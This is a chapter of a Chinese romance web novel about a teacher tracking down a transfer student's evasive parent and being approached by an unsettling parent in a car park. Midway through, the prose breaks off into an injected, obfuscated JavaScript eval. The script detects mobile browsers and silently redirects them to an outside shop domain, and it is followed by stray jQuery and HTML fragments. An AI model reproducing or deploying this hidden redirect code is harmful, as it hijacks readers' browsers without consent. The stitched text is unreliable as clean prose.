文趣网 > 其他小说 > 夏末余温[破镜重圆] > 6. 第六章
    电话拨打到第五次,陈由听了五遍柔软的机械女声才终于放下手机。最后看了一眼,把通话记录连同号码一并删除。

    收起毯子回到房间,刚打算去洗漱才发现书桌上放着临礼给的那个纸袋。差点忘记转达u盘的事,给姑姑发去消息,出于好奇,陈由还是拿起那个信封打开看了眼。

    黑色烫金底印着临礼的logo,卡上用中英文写着酒店免单卡,背面写着日期但没有规定次数。

    作为七星级酒店,又占据着南淮最好的地段,食宿价格都是平均水平的翻番。

    一时间不知道是临礼本身服务强还是沾了靳禾也的光。

    免单卡拿得属实烫手,陈由把它塞回抽屉里,带上浴巾去洗漱,顺便想想怎么拿到钥匙。

    靳禾也这人爱逗人,也爱给自己留余地。

    从前两人斗嘴吵架,希望她去找他的时候,通通会给点什么关键信息,比如一张纸条,一个中间人,一次假模假样的校园偶遇。

    总之他是个最会给自己找台阶的人。

    在那段感情里,陈由和他在一起不需要费什么力气。

    但这次,他们不可能偶遇,他也没给她留纸条,唯一能连接两人的电话号码也变成了空号。

    陈由一时间都分不清他到底想做什么。

    不过之后的半个月里陈由都没有心思去揣测靳禾也的想法,过了期中,公开课和听课把时间排得满满当当。陈由忙得脚不沾地,会一个接一个地开。

    期间夹杂一次消防演习和防溺水讲座,很快十月彻底过完。

    十一月初开了场班主任例会。陈由到会议室时还没几个人,习惯性坐到实习期间的班主任的身边。杨老师教龄四十年,在她身边总能学到点新东西。

    “杨老师。”

    “来这么早啊。”

    杨老师给她开了瓶水放在身前,“你们班转来的那个孩子最近怎么样?”

    说起林翊瑄,陈由脑子有点疼。起初一周的表现良好到她对这孩子的适应能力赞不绝口,科任老师的反馈也都不错。

    可最近一周,各位科任老师尤其是童韵,那投诉都快铁脸了。

    迟到早退,甚至不交作业。那蔫坏的小狐狸尾巴总算藏不住了似的,陈由回回在上课时间碰到他,都看到他在沙坑里玩泥巴。

    杨老师不解:“是不是和同学相处得不融洽?”

    陈由:“和班里同学三天不到就玩在一起了,小朋友好奇心强,天天围在他身边,虽然聊天有困难,但课间活动都是一起的。”

    “那这样,别过度干涉,先试试跟家长反馈这件事,看看家长态度怎么样。”

    因为前几年的孩子离家出走事件引发热议,为避免此类事件再次发生,之后全校老师行事都严谨不少。杨老师也不例外,再加上直接和家长沟通比矫正孩子要简单很多。

    陈由点头应下,开完会回到办公室打开电脑调取林翊瑄的登记信息。

    家庭成员只填了一栏,关系写的是叔叔而非直系亲属。对应的号码陈由用座机拨出,却没被接通。

    最近在打电话这事儿上似乎非常不顺利,连吃几次闭门羹。

    “怎么了?不接啊?”

    “嗯。”

    陈由放下听筒回到座位上。

    家长忙工作不接电话也是常事,白天打电话十个里能有两个通的就不错了。

    童韵举着手机晃了晃,“你加他家长的钉钉呗?林翊瑄家长是不是还没进家长群?”

    “刚来第一周就加过了,查无此人。”

    手机号码输了好几遍,翻来覆去检查,钉钉查不到就去找微信,还是没找到。

    这联系人像凭空捏出来的一样。

    “不是吧,他来头真这么大?”童韵皱眉,“楼上万家集团家的小少爷也不至于像他这样啊。”

    楼上那位也是个不折不扣的混世魔王,闯祸事迹整个年级都知道。并且他家里人是明确强调不需要多干涉的。比起他,林翊瑄只是习惯不太好而已。

    “可能只是忙吧,晚点我再联系试试。”

    这风声不知道是从哪里传出去的,第二天中午陈由没打通的那个电话召唤来了个沈蓉。刚和童韵散步从操场回来就看到沈蓉堵在办公室门口,双手环胸,一副看热闹的样子。

    “沈老师,自己办公室有这么不好呆吗?”童韵语气不耐烦,“怎么天天往别人办公室钻?”

    “我又不是来找你的。”

    沈蓉这次没被气到,看都没看她一眼,“陈老师,听说你联系不上你们班林翊瑄的家长?”

    “要不要我出面帮帮你啊?”

    看沈蓉的表情,那下巴巴不得抬到天上去,明显是来讽刺挖苦她的。

    陈由始终没想明白到底是怎么和她结的仇,可这提议,她却仔细想了想可行性。

    按照沈蓉和靳禾也走得近的关系来看,她家经商的可能性最大。南淮所谓上流圈子,陈教授不屑得让她掺和,但圈子最终是个圈,保不齐沈蓉真的认识林翊瑄的家里人,能解决这一心头大患也是好的。

    随即还不等童韵再次发作,陈由捏了捏她的手,莞尔:“好啊,那就麻烦沈老师了。”

    陈由拦了个出来上厕所的孩子去班里喊林翊瑄,然后便挽着童韵回了办公室。

    两人气氛紧绷,陈由却还有闲心给沈蓉泡杯热茶。

    “沈老师,今年的秋茶,试试。”

    “谢谢。”

    等沈蓉接过去,陈由才把自己身前的茶推到童韵面前。

    童韵原本就看她不顺眼,现在陈由又应下了她的帮忙,这气鼓鼓的样子大概没那么容易哄好,但沈蓉到底在这里,陈由不好说得太直白。

    很快林翊瑄就喊报告进来,学习速度很快,口音都消减不少了。

    陈由没开口,任凭沈蓉发挥。

    “翊瑄,还记不记得我是谁?”

    林翊瑄脸蛋红扑扑地,大眼睛在几人脸上徘徊一圈,最终落在沈蓉脸上,摇了摇头,“你似谁?”

    “我是……”

    沈蓉一时语塞,这里有外人,她总不好说我是你爸爸的相亲对象这种话。

    脑子卡顿了半秒才又开口:“我是爸爸的朋友,沈蓉,还记得吗?我们之前一起吃过饭的。”

    语气异常温柔,并且说着就要去牵他的手,却被林翊瑄躲开。

    他还是摇头。

    迷茫的视线瞬间移开,抬头看向陈由,走到她身边,“陈老师。”

    听起来林翊瑄是真的不认识她,喊陈由的时候声音都变小了不少。沈蓉或许真的跟他家里人认识但孩子不认她,这条路行不通。

    联系家长这事儿固然重要,但没必要逼一个孩子。

    陈由伸手揽住林翊瑄,拍了拍他的背,“谢谢沈老师,我还是自己问问吧。”

    原本想在陈由面前宣示一下主权,毕竟靳禾也就算不和她在一起,也不可能看上陈由,没想到林翊瑄会这么不配合,平白无故让她闹笑话。

    想到这儿,沈蓉看了眼正躲在陈由怀里的林翊瑄,“孩子记性可能不好,我一会儿给靳……他爸爸打个电话。”

    “好,那顺便再推我一下他的微信。”

    听到微信,沈蓉笑都僵了三分,秋茶没喝一口就找了个理由离开。

    等办公室门关上后,林翊瑄才偷摸扯了扯陈由的袖子。

    “她没有爸爸的微信。”

    “我猜到了。”

    虽然没学心理学,但家里有个教授难免受到点熏陶。刚看那个快撑不住的样子,陈由就知道她在挽尊了。

    不过眼下陈由最关心的倒不是沈蓉,而是林翊瑄那个联系不上的家长。

    “林翊瑄,你档案上填的号码是真的吧?”

    “是呀。”

    “为什么打电话没人接?”

    “陈老师,你要找我爸爸告状吗?”

    被学生这么直白地问,陈由有些不自然:“我是找你叔叔。”

    “他不是我叔叔,是爸爸的秘书。”

    “而且爸爸也没有老婆,家里只有我一个。”

    “……”

    这突如其来的介绍总让陈由觉得不大对劲,像相亲培训班话术中的一种。

    陈由干巴巴笑了声:“那你爸爸的手机号是?”

    “不记得,但是我记得短的。”

    “短的是什么?”

    林翊瑄背了串短号,等午休预备铃打响他离开办公室,陈由起身拿着号码走到座机旁。

    刚拿起听筒就听到童韵慢悠悠开口道:“这小子挺精,还知道报个纽约电话来敷衍你。”

    “……”

    陈由看了眼手里的纸条,给它搓成团丢到了垃圾桶里。

    -

    下午没有主课,陈由基本都用来写教案或是批改作业。备课组一般也会利用这个时间开会,基本都是围绕本月的教学速度及上个月的课堂情况做出反馈分析。

    今天组会谈及的内容比较多,多方讨论后还是没有得出较好的解决办法,只能留到下次再续。

    十一月之后太阳落山早,从会议室出来外头天都黑下去也不过才七点。

    陈由回办公室收拾好手提包去停车场开车,停车场路灯上个月就坏了在走流程报修,起先下班时还有光亮,这会儿只能摸黑前行。

    但很快,她脚步顿住。

    漫无边际的黑暗里陡然出现个人影。没吭声不动弹,只是站在她的车前。

    陈由按了锁,车灯闪了两下,人影才缓缓转过身。

    这张脸不久前才见过,实在算不上陌生。

    “陈老师,您总算下班了。”

    “学生应该都放学了,您在这里是?”

    黑暗里,男人做了个推眼镜的动作,不疾不徐地向她走来,“关于我们家康淇的成绩,想约您细聊一下。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721624|208688||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    这名字陈由也熟悉,是去年帮休产假的同事代课时碰到的,304另一个混世魔王。

    要谈学习,实在轮不到她去跟这位家长聊。

    上次汗毛直立的不适感又再次涌上心头,但对方实在没做什么过界的事

    “抱歉,我现在不教304,有任何关于孩子学习上的问题都可以在钉钉上直接询问班主任。”

    “但您带过他一个学期,应该比现在的语文老师更懂他。”

    “老师刚来都需要磨合期,您可以在群里沟通。”

    “我占用您一点时间就好,我们可以去校外聊。”

    男人讲话温吞,看似举止有礼,并没有冒犯人的意思。但让陈由不太舒服,还不等她再次开口,身后陡然传来脚步声。

    “陈老师,我车送去保养了,今晚您能送我一趟吗?”

    陈由回头,借着教学楼一层的灯光勉强看清来人,她松了口气,“陆老师。”

    “这位是?”

    “四班学生家长。”

    陆泽雨点点头,越过陈由站在他们之间,“这位家长,现在已经是下班时间了,陈老师也不是四班班主任,有什么要紧事,不如明天再来?”

    不知是真被陆泽雨的话给说动还是什么原因,很快他便离开停车场,擦肩而过时还看了陈由一眼。

    那眼神说到底还是让人不舒服。

    陆泽雨倒也没说谎,他的车是真被拿去保养没开过来,跑回来也是因为门口的共享小电驴被开走,想着回来蹭个车,碰巧遇上这么遭事儿。

    坐上副驾,陆泽雨给自己扣好安全带,“今晚还算我英雄救美了。”

    “算。”

    “那陈老师是不是得请我吃顿饭。”

    “吃。”

    “冷漠。”

    陈由笑了一声。

    她和陆泽雨是小学同学,那会儿一个班里就属他俩关系最好,可惜他初中就出国,之后就再没了联系。其实陈由没想到工作后还能再见面,重逢时跟认亲似的,现在嘴巴还是一样损。

    这么一个小插曲陈由没多想,但第二天上班之后校内网里突然发了个给所有老师的邮件。

    陈由上课没看手机,回办公室之后童韵和张老师聊得正火热,询问之后她才看到正文。

    张秋莹:“你说那些男人多猥琐啊,任何关系都不肯放过吗?”

    数学张老师反驳:“男人也不都这样,别中伤我们男性同胞,那是猥琐男,全人类唾弃的存在。”

    童韵:“得得,那二位张老师给分析分析,他是怎么跑到学校里来的?”

    张秋莹耸耸肩:“无解,今早说是警方来调取了监控,不知道之后怎么说。”

    陈由盯着那封邮件,其实一个字都没看进去,脑子里全是昨晚那个举动怪异的家长,还是有些后怕。

    不敢想要是昨晚陆泽雨没有及时赶到,会发生什么。

    最近这运气差得可怕,总觉得得拿什么驱驱邪。

    童韵冷哼一声:“变态男还知道挑未婚女老师性骚扰!”

    “可能觉得未婚不会有纠纷吧。”张秋莹叹口气,“没想到这年头要保护自己还得靠已婚头衔当武器了,多荒唐啊。”

    外头预备铃敲响,要上课的两位不约而同起身。数学张老师先走出办公室,童韵拿起自己上课的三件套也跟上,拍了拍张秋莹的肩。

    “反正在外身份都是自己给的,对象嘛,二位给自己编一个好了。”

    编一个……

    电脑任务栏微信图标突然闪动,陈由关掉邮件,点开才发现是个新好友添加提示。

    备注栏里填的是康淇家长。

    ……

    童韵说的确实也是个办法。

    家长骚扰未婚老师这事比想象中影响恶劣,上午警车出动,下午消息在学校便不胫而走,高年级学生们听到风声纷纷揣测。

    为避免被八卦也如童韵所说,给自己编造一个男友,来杜绝一部分犯罪的可能。

    直说太明显,陈由和张秋莹讨论之后决定从明天开始就把戒指焊在无名指上。

    咬死自己有对象的事。

    不过陈由和张秋莹不同,她不爱戴首饰也不爱买,这么多年手上也只有一块奶奶送给她的钢带手表而已。

    张秋莹建议她去买一枚素圈戴上,不算招摇,别人问起来回答也能自然些。

    陈由点头应下。

    当晚回家后,陈由翻出藏在衣柜里的纸盒子,从绒布袋里倒出一枚素圈。

    多年过去,色泽依旧。

    上面坑坑洼洼不算平整,在那个手工制作不算潮流的年代,这是他们一锤一锤打出来的爱意。

    陈由没想到这枚戒指八年后还能重见天日,慢慢摩挲过内圈刻着的英文字母,随后素戒穿过无名指,严丝合缝地贴在指根处。

    既然不会再见面,那她把私心戴在手上也不会被任何人发现。